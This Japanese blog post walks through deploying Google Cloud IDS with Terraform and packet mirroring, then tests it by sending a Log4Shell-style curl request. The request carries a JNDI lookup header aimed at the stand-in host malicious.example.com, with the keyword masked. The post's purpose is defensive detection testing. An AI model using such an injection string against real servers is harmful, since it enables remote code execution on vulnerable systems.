「医師の働き方改革」を支えるクラウドのセキュリティ対策を拝聴させていただきました!
勝手に、医療系のシステムは、金融同様にいろいろコンプラなども厳しいのでレガシーな構成なのかと思い込んでいたのですが、クラウドネイティブ構成!
Cloud Armor + Cloud IDSの構成は、GKEに限らずとも有効なので、まだ見られていない方で、Google Cloudのセキュリティ対策を検討されておられる方にオススメです。
Cloud ArmorでのLog4jの対応は以前に書かせていただいているので、Cloud IDSについて、書いてみたいと思います。
Cloud IDSの概要
Cloud IDSはpaloalto社の提供するシグネチャにて、VPC上のログから攻撃が疑われる通信を検知するサービスです。
Private Service Accessを利用し、VPCピアリングをすることで、ミラーリングした通信ログをCloud IDSに流し込みます。
検証環境の構築
ほとんどのGoogle Cloudサービスがそうであるように、Cloud IDSもオンデマンドで時間単位・処理量単位で料金が上がってきます。検証環境をIaCで作ることで、必要な時だけ動かして、不要になったら削除、再び必要になったら作り直すことが容易になります。
今回は、terraformで作りました。最後にリポジトリを貼っておきます。
当該プロジェクトでService Networking APIを予め有効化しておいてください。
本題と逸れますが、Terraformの利用にあたって、サービスアカウントを作成&キーを利用の記事が散見されます。
ローカル環境で利用する際は、サービスアカウントを作らずauth loginでやりましょう。
ベストプラクティス参照
現時点では、Terraformで作成できるのは、Cloud IDSのエンドポイントまでっぽいです。
今回は直感的に伝えるべく、パケットミラーリングポリシーの設定をコンソールで行います。
ミラーリングポリシーのアタッチ
動作の確認
これで検知の準備は整いました。
Log4jを仕掛けてみます。
curl -i -H 'X-Hoge: ${~~~://malicious.example.com/attack-code}' https:///
※ ~~~ は、「じぇいえぬでぃあい」のアルファベット表記になります。そのまま書くと、Qiitaのサニタイズ処理に引っかかってしまうようなので、伏せ文字にしています。
しっかり検知!
まとめ
Cloud Armorでルールの自前運用をしていると、ゼロデイアタックなどですり抜けてインスタンスに到達してしまったときに、Cloud IDSでいち早く検知と一次分析を行うことが可能になります。
実際の攻撃であった場合、Cloud Armorにcve-canaryなどからルールを当てるといった運用が想定されます。
あくまでIDSのため、攻撃は到達してしまいますが、それでも早期に発見できることは非常に有効です。予算や取り扱うデータ次第でもありますが、コストに十分見合う働きをしてくれるはずです。
とは言え、コスパを最大化するよう、リスク分析を行った上で、なるべく必要なログだけミラーリングするようにしましょう!